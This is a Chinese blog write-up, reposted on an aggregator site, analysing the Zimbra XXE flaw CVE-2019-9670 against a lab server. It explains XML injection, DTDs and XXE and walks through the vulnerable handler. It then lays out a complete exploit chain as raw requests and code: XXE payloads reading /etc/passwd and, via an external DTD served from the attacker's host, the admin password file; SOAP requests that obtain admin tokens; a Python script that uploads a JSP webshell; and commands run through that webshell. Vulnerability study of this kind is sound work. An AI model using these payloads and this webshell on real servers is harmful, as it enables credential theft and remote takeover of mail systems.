Zimbra 远程代码执行漏洞(CVE-2019-9670)漏洞分析

news2025/1/18 11:51:25

Zimbra 远程代码执行漏洞(CVE-2019-9670)漏洞分析

漏洞简介
Zimbra是著名的开源系统,提供了一套开源协同办公套件包括WebMail,日历,通信录,Web文档管理和创作。一体化地提供了邮件收发、文件共享、协同办公、即时聊天等一系列解决方案。此漏洞的主要利用手法是通过 XXE (XML 外部实体注入) 漏洞读取localconfig.xml配置文件来获取Zimbra admin ldap password,接着通过SOAP AuthRequest认证得到Admin Authtoken,最后使用全局管理令牌通过ClientUploader扩展上传WebshellZimbra服务器,从而实现通过Webshell 来达到远程代码执行效果。(需要注意,最后要达到RCE要结合SSRF漏洞,即需要结合另一个漏洞CVE-2019-9621)
漏洞影响范围

Zimbra< 7.11 版本中,攻击者可以在无需登录的情况下,实现远程代码执行。
Zimbra< 8.11 版本中,在服务端使用 Memcached 做缓存的情况下,经过登录认证后的攻击者可以实现远程代码执行。

漏洞环境搭建
此次采用本地环境搭建的方式进行,因为vulhub没有这个靶场,搭建环境比较复杂,具体步骤查看https://blog.csdn.net/sxr__nc/article/details/130115884?spm=1001.2014.3001.5502
漏洞复现
(此处只针对漏洞是否存在进行复现验证)
使用bp向目标服务器发送如下数据包,其中利用接口如下:/Autodiscover/Autodiscover.xml

POST /Autodiscover/Autodiscover.xml HTTP/1.1
Host: 192.168.220.56
Connection: keep-alive
Content-Length: 343
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
X-Zimbra-Csrf-Token: 0_c76c85d9f2471cf79b6cda4eab2363d8aa41e0a3
Accept: */*
Origin: https://192.168.220.56
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.220.56/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: ZM_TEST=true;ZA_SKIN=serenity;

<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
    <Request>
      <EMailAddress>aaaaa</EMailAddress>
      <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
    </Request>
</Autodiscover>

查看返回的数据包如下:
在这里插入图片描述
成功返回passwd文件内容.
漏洞原理分析

前置背景

关于XML注入漏洞
XML有两个先驱——SGML(标准通用标记语言)和HTML(超文本标记语言),这两个语言都是非常成功的标记语言。SGML多用于科技文献和政府办公文件中,SGML非常复杂,其复杂程度对于网络上的日常使用简直不可思议。HTML免费、简单,已经获得了广泛的支持,方便大众的使用。而XML(可扩展标记语言)它既具有SGML的强大功能和可扩展性,同时又具有HTML的简单性。
XML注入攻击和SQL注入攻击的原理一样,利用了XML解析机制的漏洞,如果系统对用户输入"<",">"没有做转义的处理,攻击者可以修改XML的数据格式,或者添加新的XML节点,就会导致解析XML异常,对流程产生影响。
攻击方式
如下为正常的注册访问用户XML数据,其中用户名由用户自己输入。

<?xml version="1.0" encoding="UTF-8"
<user role="guest">用户输入</user>

正常情况下的用户输入可以是如下格式:

<?xml version="1.0" encoding="UTF-8"
<user role="guest">Admin</user>
<?xml version="1.0" encoding="UTF-8"
<user role="guest">test</user>

攻击者构造恶意数据可能是如下格式:

<?xml version="1.0" encoding="UTF-8"
<user role="guest">test</user>
<user role="admin">Hacker</user>

即攻击者在输入用户名数据的时候构造test\</user>\<user role="admin">Hacker这样的恶意数据包,如果系统对用用户输入的"<",">"符号没有进行处理,就会导致上述类型的攻击,攻击者在发送上述类型的数据包的时候可以新建一个admin权限的用户Hacker.

关于XXE注入漏洞

XML外部实体注入(XML External Entity)简称XXE漏洞。XXE:XML External Entity即外部实体,从安全角度理解成XML External Entity attack外部实体注入攻击,由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。
概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。

关于DTD

XML文档有自己的格式规范,而这个格式规范是由DTD(document type definition)控制的,示例代码如下:

<?xml version="1.0"?>//这一行是 XML 文档定义
<!DOCTYPE message [
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

内部的 DOCTYPE 声明

假如DTD被包含在XML源文件中,它可以通过下面的语法包装在一个DOCTYPE声明中:

<!DOCTYPE root-element [element-declarations]>

带有 DTDXML文档实例:

<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend</body>
</note>

详细解释如下:

!DOCTYPE note (第二行)定义此文档是 note 类型的文档。
!ELEMENT note (第三行)定义 note 元素有四个元素:"to、from、heading,、body"
!ELEMENT to (第四行)定义 to 元素为 "#PCDATA" 类型
!ELEMENT from (第五行)定义 from 元素为 "#PCDATA" 类型
!ELEMENT heading (第六行)定义 heading 元素为 "#PCDATA" 类型
!ELEMENT body (第七行)定义 body 元素为 "#PCDATA" 类型
下边的数据即标识具体对应元素的数据

外部的 DOCTYPE 声明

如果DTD位于XML源文件的外部,那么通过下边的语法封装在DOCTYPE中:

<!DOCTYPE root-element SYSTEM "filename">

带有外部DTD的XML文档示例:

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
  <to>Tove</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don't forget me this weekend!</body>
</note>

其中外部dtd文件内容如下:

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

关于DTD中的实体

实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
1:实体引用是对实体的引用。
2:实体可在内部或外部进行声明。内部实体的声明:

语法:<!ENTITY entity-name "entity-value">
示例:
<!ENTITY writer "Donald Duck.">
<!ENTITY copyright "Copyright runoob.com">
引用:
<author>&writer;&copyright;</author>

外部实体的声明:

语法:<!ENTITY entity-name SYSTEM "URI/URL">
示例:
<!ENTITY writer SYSTEM "http://www.runoob.com/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.runoob.com/entities.dtd">
引用:
<author>&writer;&copyright;</author>   <!--这里的引用会直接获取到外部的dtd文件的内容-->

通用实体:用&实体名;引用的实体在DTD中定义,在XML文档中引用

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]> 
<updateProfile>  
    <firstname>Joe</firstname>  
    <lastname>&file;</lastname>  
    ... 
</updateProfile>
<!--此处&file:即为参数实体,在DTD中定义为一个外部的实体-->

参数实体:
1.使用% 实体名;引用的实体,在DTD中定义,并且只能在DTD中使用%实体名;引用
2.只有在DTD文件中,参数实体的声明才能引用其他实体
3.和通用实体一样,参数实体也可以外部引用

<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> 
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd"> 
%an-element; %remote-dtd;

xxe漏洞原理

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

以上示例代码在解析的时候会提交两个主要参数,一个是<pass>mypass\</pass>,一个是<user>&xxe;</user>,在解析的过程中遇到实体的引用会直接获取相应的内容,即这里碰到&xxe会直接获取到外部实体file:///c:/test.dtd的内容,这样一来处理数据会很方便,但同时也会有巨大的安全隐患:如果把目标dtd文件换成敏感文件,这样就会获取到敏感文件的内容。

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

CVE-2019-9670在原理上和这个是相通的。

定位漏洞点

https://192.168.220.56:7071/Autodiscover/Autodiscover.xml发送一个空的xml数据包,如下:

POST /Autodiscover/Autodiscover.xml HTTP/1.1
Host: 192.168.220.56
Connection: keep-alive
Content-Length: 7
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
X-Zimbra-Csrf-Token: 0_c76c85d9f2471cf79b6cda4eab2363d8aa41e0a3
Accept: */*
Origin: https://192.168.220.56
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.220.56/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: ZM_TEST=true;ZA_SKIN=serenity;

<a></a>

查看返回的数据包:

HTTP/1.1 400 No Email address is specified in the Request
Date: Thu, 06 Apr 2023 11:46:58 GMT
Content-Type: text/html;charset=iso-8859-1
Cache-Control: must-revalidate,no-cache,no-store
Content-Length: 339

<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
<title>Error 400 No Email address is specified in the Request</title>
</head>
<body><h2>HTTP ERROR 400</h2>
<p>Problem accessing /service/autodiscover/Autodiscover.xml. Reason:
<pre>    No Email address is specified in the Request</pre></p>
</body>
</html>

注意关键字:No Email address is specified in the Request
使用反编译软件反编译zimbrastore.jar包,在其中查找该字符串:找到之后打开目标文件
在这里插入图片描述
打开目标文件之后.定位到报错信息,可以发现这块的处理逻辑是由doPost函数进行处理的:到这儿就已经大概定位到漏洞函数了,接下来继续对该函数进行深入分析.
在这里插入图片描述
doPost函数逻辑分析
doPost函数的主要逻辑解析如下:

public void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    ·····················   
      NodeList nList = doc.getElementsByTagName("Request");  //获取request标签的内容
      for (int i = 0; i < nList.getLength(); i++) {
        Node node = nList.item(i);
        if (node.getNodeType() == 1) {
          Element element = (Element)node;
          email = getTagValue("EMailAddress", element);   //获取EMailAddress标签的内容
          responseSchema = getTagValue("AcceptableResponseSchema", element);
          if (email != null)                          //获取AcceptableResponseSchema标签的内容
            break; 
        } 
      } 
    } catch (Exception e) {                          //处理异常    如果body体为空返回报错信息   Body cannot be parsed 
      log.warn("cannot parse body: %s", new Object[] { content });    
      sendError(resp, 400, "Body cannot be parsed");
      return;
    } 
    if (email == null || email.length() == 0) {     //如果获取到的email地址为空,返回报错信息
      log.warn("No Email address is specified in the Request, %s", new Object[] { content });
      sendError(resp, 400, "No Email address is specified in the Request");
      return;
    }                                             //对AcceptableResponseSchema内容进行判断,如果不满足条件,返回报错信息503并且返回AcceptableResponseSchema的内容。此处也正是造成XXE回显漏洞的关键点
    if (responseSchema != null && responseSchema.length() > 0)
      if (!responseSchema.equals("http://schemas.microsoft.com/exchange/autodiscover/mobilesync/responseschema/2006") && !responseSchema.equals("http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a")) {
        log.warn("Requested response schema not available " + responseSchema);
        sendError(resp, 503, "Requested response schema not available " + responseSchema);
        return;
      }  
    log.debug("Authenticating user");
    ······························

逻辑整理:通过分析doPost函数的处理流程,在整体的处理过程中对于请求的数据包,只针对EMailAddressAcceptableResponseSchema两个字段进行的解析,在解析的过程中会判断获取到的邮箱地址和AcceptableResponseSchema字段是否满足既定条件,具体判断如下:

1:判断获取到的邮箱地址是否为空,为空或者长度为0,则返回400的报错信息,提示:请求的数据包中没有Email地址
2:判断AcceptableResponseSchema字段数据是否为空或者长度是否为0
3:判断AcceptableResponseSchema是否等于既定的数据,如果不等于则返回503的报错信息,与此同时返回AcceptableResponseSchema字段中的数据
和上边已经介绍过的XXE漏洞相同,在这里如果把引用的外部实体修改为敏感文件路径,就会直接获取到敏感文件的内容,同时回显出来

漏洞后续利用

前提条件

如果要想达到RCE的效果,需要再结合SSRF漏洞来完成,即需要结合CVE-2019-9621进行结合利用,CVE-2019-9621是一个SSRF漏洞,这两个漏洞结合可以达到RCE的效果。(这个其实是官方的利用思路,但是其实不需要9621也可以直接完成RCE)

获取关键配置文件信息
接下来利用上述xxe漏洞获取zimbra的关键配置文件内容,目的是从配置文件中获取zimbra的用户名及密码信息。对应的关键配置文件为localconfig.xml,但是还有一个问题:这个目标文件是一个xml文件,因此不能直接在数据包中替换,(由于localconfig.xml为XML文件,需要加上CDATA标签才能作为文本读取)需要借用外部dtd,构造的外部dtd如下:

<!ENTITY % file SYSTEM "file:../conf/localconfig.xml">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">

创建的poc.dtd文件,在本地开启http服务,保证在发送数据包的时候可以成功访问到目标文件
在这里插入图片描述
发送如下数据包:

POST /Autodiscover/Autodiscover.xml HTTP/1.1
Host: 192.168.220.56
Connection: keep-alive
Content-Length: 409
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
X-Zimbra-Csrf-Token: 0_c76c85d9f2471cf79b6cda4eab2363d8aa41e0a3
Accept: */*
Origin: https://192.168.220.56
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.220.56/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: ZM_TEST=true;ZA_SKIN=serenity;

<!DOCTYPE Autodiscover [
        <!ENTITY % dtd SYSTEM "http://192.168.220.124:8000/poc.dtd">
        %dtd;
        %all;
        ]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
    <Request>
        <EMailAddress>aaaaa</EMailAddress>
        <AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>
    </Request>
</Autodiscover>

服务端的数据请求记录:
在这里插入图片描述
返回的数据包如下:成功获取到密码
在这里插入图片描述
获取低权限token
接下来的利用接口为:https://IP:7071/service/admin/soap
发送的数据包如下:

POST /service/admin/soap HTTP/1.1
Host: 192.168.220.56
Connection: keep-alive
Content-Length: 463
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
X-Zimbra-Csrf-Token: 0_c76c85d9f2471cf79b6cda4eab2363d8aa41e0a3
Accept: */*
Origin: https://192.168.220.56
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.220.56/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: ZM_TEST=true;ZA_SKIN=serenity;

<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
   <soap:Header>
       <context xmlns="urn:zimbra">
           <userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
       </context>
   </soap:Header>
   <soap:Body>
     <AuthRequest xmlns="urn:zimbraAccount">
        <account by="adminName">zimbra</account>
        <password>XXXX</password>     //填写上边获取到的密码
     </AuthRequest>
   </soap:Body>
</soap:Envelope>

相应的数据包如下:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tVifX8yF-1681892776372)(image/image_7_qdd9FvyJT8.png)]
获取高权限token
这里需要注意下:官方发出的通告声明,这里需要使用SSRF漏洞(即CVE-2016-9621)进行高权限的token获取,其实只需要将上边的数据包中的字段修改下即可直接获取到高权限的token,当然这个方式有运气的成分,但是也是有理可依的,发送如下数据包:

PS:看一些资料提到需要将host后边添加端口号7071,我这里没有添加也可以获取到高权限的token |

POST /service/admin/soap HTTP/1.1
Host: 192.168.220.56
Connection: keep-alive
Content-Length: 461
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
X-Zimbra-Csrf-Token: 0_c76c85d9f2471cf79b6cda4eab2363d8aa41e0a3
Accept: */*
Origin: https://192.168.220.56
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.220.56/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: ZM_TEST=true;ZA_SKIN=serenity;

<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
   <soap:Header>
       <context xmlns="urn:zimbra">
           <userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
       </context>
   </soap:Header>
   <soap:Body>
     <AuthRequest xmlns="urn:zimbraAdmin">
        <account by="adminName">zimbra</account>
        <password>oD4I8Bnm</password>
     </AuthRequest>
   </soap:Body>
</soap:Envelope>

获取到的数据包内容如下:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-j5v4iFEp-1681892776374)(image/image_8_LxsT053mxV.png)]
官方利用方式:利用SSRF漏洞完成

Post: /service/proxy?target=https://IP:7071/service/admin/soap
Ps:
    (1)HOST:后面加端口7071
    (2)Cookie中设置Key为ZM_ADMIN_AUTH_TOKEN,值为获取到的低权限token
    (3)发送获取普通权限token的body内容,但是将AuthRequest的xmlns改为: urn:zimbraAdmin

利用高权限token上传文件

import requests
file= {
'filename1':(None,"whocare",None),
'clientFile':("sunian.jsp",r'<%if("023".equals(request.getParameter("pwd"))){java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}%>',"text/plain"), 
'requestId':(None,"12",None),}
headers ={ 
"Cookie":"ZM_ADMIN_AUTH_TOKEN=0_512db09799df40f318caa342dc61ce4d1b965fd9_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313638313133343531343539373b61646d696e3d313a313b747970653d363a7a696d6272613b753d313a613b7469643d393a3436303035343039303b76657273696f6e3d31333a382e372e375f47415f313738373b",#改成自己的admin_token
"Host":"foo:7071"}
r=requests.post("https://192.168.220.56:7071/service/extension/clientUploader/upload",files=file,headers=headers,verify=False)    
print(r.text)

实现RCE
上传文件成功之后,访问地址https://192.168.220.56:7071/downloads/sunian.jsp,访问的时候需要在Cookie里边填写高权限的token,发送请求数据包如下:(这里远程执行ls命令)

GET /downloads/sunian.jsp?pwd=023&i=ls HTTP/1.1
Host: 192.168.220.56:7071
Cookie: ZM_ADMIN_AUTH_TOKEN=0_6b3e2f178f9c29a7b39e925fa7dd20f56c141708_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313638303938313735373037333b61646d696e3d313a313b747970653d363a7a696d6272613b753d313a613b7469643d393a3538343831363132333b76657273696f6e3d31333a382e372e375f47415f313738373b
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

返回的数据包如下:
在这里插入图片描述
尝试执行其它命令:发送如下数据包:

GET /downloads/sunian.jsp?pwd=023&i=id HTTP/1.1
Host: 192.168.220.56:7071
Cookie: ZM_ADMIN_AUTH_TOKEN=0_6b3e2f178f9c29a7b39e925fa7dd20f56c141708_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313638303938313735373037333b61646d696e3d313a313b747970653d363a7a696d6272613b753d313a613b7469643d393a3538343831363132333b76657273696f6e3d31333a382e372e375f47415f313738373b
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

执行id命令,返回的数据包如下:
在这里插入图片描述
参考链接

https://xz.aliyun.com/t/7991
https://www.hacking8.com/bug-product/Zimbra/CVE-2019-9621-CVE-2019-9670-Zimbra-远程代码执行漏洞.html
https://coco413.com/archives/52/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/435106.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

主 存储器

主存储器 概述 实际上在主存储器运作时&#xff0c;根据MAR中的地址访问某个存储单元时&#xff0c;还需经过地址译码、驱动等电路才能找到所需的访问单元。读出时需经过读出放大器&#xff0c;才能将被选中单元的存储字送到MDR。写入时&#xff0c;MDR中的数据也必须经过写入…

课程简介:.Net Core从零学习搭建权限管理系统

课程简介目录 &#x1f680;前言一、课程背景二、课程目的三、系统功能四、系统技术架构五、课程特点六、课程适合人员七、课程规划的章节八、最后 &#x1f680;前言 本文是《.Net Core从零学习搭建权限管理系统》教程专栏的导航站&#xff08;点击链接&#xff0c;跳转到专栏…

【运动规划算法】路径规划中常用的插值方法

文章目录 简介一、线性插值二、三次样条插值三、B样条插值四、贝塞尔曲线插值总结 简介 常见用于处理路径平滑的插值算法主要包括线性插值、三次样条插值、B样条插值和贝塞尔曲线插值等&#xff0c;下面分别介绍它们的优缺点和使用场景。 一、线性插值 线性插值是最简单的插值…

【主流Chat模型的申请入口和方法】

主流Chat模型的申请入口和方法 一、申请New Bing二、申请内测文心一言三、申请内测Claude四、谷歌家的Bard五、Adobe Firefly六、GitHub Copilot chat七、通义千问八、360智脑 一、申请New Bing 注册一个 outlook 邮箱&#xff0c;很简单&#xff0c;2分钟就可搞定&#xff5e…

操作系统(2.7)--进程

目录 一、进程的引入 1.进程的两个基本属性 2.程序并发执行所需付出的时空开销 3.线程---作为调度和分派的基本单位 二、线程(轻型进程)与进程(重型进程)的比较 1&#xff09;调度的基本单位 2&#xff09;并发性 3&#xff09;拥有资源 4&#xff09;独立性 5&#…

离线数仓的数仓分层

数据仓库分层的作用 数据结构化更清晰&#xff1a; 对于不同层级的数据&#xff0c;他们作用域不相同&#xff0c;每一个数据分层都有它的作用域&#xff0c;这样我们在使用表的时候能更方便地定位和理解。 数据血缘追踪&#xff1a; 提供给外界使用的是一张业务表&#xf…

Material Design:为你的 Android 应用提供精美的 UI 体验

Material Design&#xff1a;为你的 Android 应用提供精美的 UI 体验 介绍 Material Design 概念&#xff1a;介绍 Material Design 是 Google 推出的一种设计语言&#xff0c;用于创建现代、美观、直观且一致的用户界面。解释 Material Design 的基本原则&#xff0c;包括材料…

9、MachO简介

一、MachO文件 MachO其实是Mach Object文件格式的缩写,是Mac以及iOS上可执行文件的格式,类似于windows上的PE格式(Portable Executable), linux上的elf格式(Executable and Linking Format) 二、MachO文件结构 Mach-O为Mach Object文件格式的缩写,它是一种用于可执行文件、目…

fileclude(文件包含漏洞及php://input、php://filter的使用)

先介绍一些知识 1、文件包含漏洞 和SQL注入等攻击方式一样&#xff0c;文件包含漏洞也是一种注入型漏洞&#xff0c;其本质就是输入一段用户能够控制的脚本或者代码&#xff0c;并让服务端执行。 什么叫包含呢&#xff1f;以PHP为例&#xff0c;我们常常把可重复使用的函数写…

Pytorch实现FCN图像语义分割网络

针对图像的语义分割网络&#xff0c;本节将介绍PyTorch中已经预训练好网络的使用方式&#xff0c;然后使用VOC2012数据集训练一个FCN语义分割网络。 一、使用预训练好的语义分割网络 PyTorch提供了已预训练好的图像语义分割网络&#xff0c;已经预训练好的可供使用的网络模型…

Java 对象的创建过程面试总结

Java对象创建的过程 Java对象创建的过程主要分为五个步骤&#xff0c;下面我将详细介绍这五个步骤。 Step1:类加载检查 虚拟机遇到一条new指令时&#xff0c;首先会去检查这个指令的参数是否能在class文件中的常量池中定位到这个类的符号引用&#xff0c;并且会检查这个符号…

unplugin-vue-components 源码原理分析

unplugin-vue-components 是一款按需自动导入Vue组件的库。支持 Vue2 和 Vue3&#xff0c;同时支持组件和指令。使用此插件库后&#xff0c;不再需要手动导入组件&#xff0c;插件会自动识别按需导入组件以及对应样式&#xff0c;我们只需要像全局组件那样使用即可。 当然上面…

深入谈谈内存压缩那些事!

1. 技术背景 说到压缩这个词&#xff0c;我们并不陌生&#xff0c;应该都能想到是降低占用空间&#xff0c;使同样的空间可以存放更多的东西&#xff0c;类似于我们平时常用的文件压缩,内存压缩同样也是为了节省内存。 尽管当前android手机6GB&#xff0c;8GB甚至12GB的机器都…

两个月15斤以上的健康减脂减重法,与饥饿、运动等无关的自我实验的验证方法(第六篇完结,无收费内容)...

阅读本文前请先看前五篇内容&#xff0c;本文有部分修改&#xff0c;但是涉及前五篇的内容会大量隐藏&#xff0c;只保留关联修改部分&#xff0c;链接如下&#xff1a; 两个月15斤以上的健康减脂减重法&#xff0c;与饥饿、运动等无关的自我实验的验证方法&#xff08;第五篇&…

OpenCascade安装编译

重新编译OpenCascade&#xff0c;在漫长的等待过程中&#xff0c;记录一下编译的流程 下载安装 OpenCascade官网中提供了直接安装的二进制版本&#xff0c;如果只是简单的使用需求可以直接下载安装&#xff0c;二进制版本使用VC 2017 64 bit编译 官网地址 源码编译 源码编…

Docker容器:docker基础

目录 一、docker容器简介 1、什么是容器 2、容器的优点 3、什么是docker容器 4、docker的logo及设计宗旨 5、docker与虚拟机对比 6、docker容器2个重要技术 7、docker三大核心概念 二、docker的安装及管理 1、安装docker 2、配置docker加速器 3、docker镜像相关基础…

你为什么从上一家公司离职?程序员这样回答最机智

想必每一位跳槽的程序员伙伴&#xff0c;在面试时都会被问到这个问题吧&#xff1a; “为什么从上一家公司离职&#xff1f;” 可能不少人跳槽的原因都是钱少事多离家远&#xff0c;加班干到十二点&#xff0c;同事之间还内卷&#xff0c;但是这些原因在面试的时候都能说吗&a…

软件测试培训

软件测试培训 软件测试培训是一门针对软件测试人才培养的技术&#xff0c;培训内容涉及到&#xff1a;软件测试基础、自动化测试、性能测试、安全测试、接口测试、云计算测试等。就业方向&#xff1a;软件开发工程师&#xff0c;软件测试工程师&#xff0c; web前端工程师&…

Docker概念|容器|镜像|命令详细(创建,删除,修改,添加)

Docker概念|容器|镜像|命令详细&#xff08;创建&#xff0c;删除&#xff0c;修改&#xff0c;添加&#xff09; 一&#xff0c;Docker简介二&#xff0c;Docker与虚拟机的区别三&#xff0c;容器核心技术四&#xff0c;Docker核心概念五 docker的安装5.1关闭防火墙,关闭文件防…

2022年 团体程序设计天梯赛——题解集

Hello各位童学大家好&#xff01;&#x1f60a;&#x1f60a;&#xff0c;茫茫题海你我相遇即是缘分呐&#xff0c;或许日复一日的刷题已经让你感到疲惫甚至厌倦了&#xff0c;但是我们真的真的已经达到了我们自身极限了吗&#xff1f;少一点自我感动&#xff0c;没有结果前别太…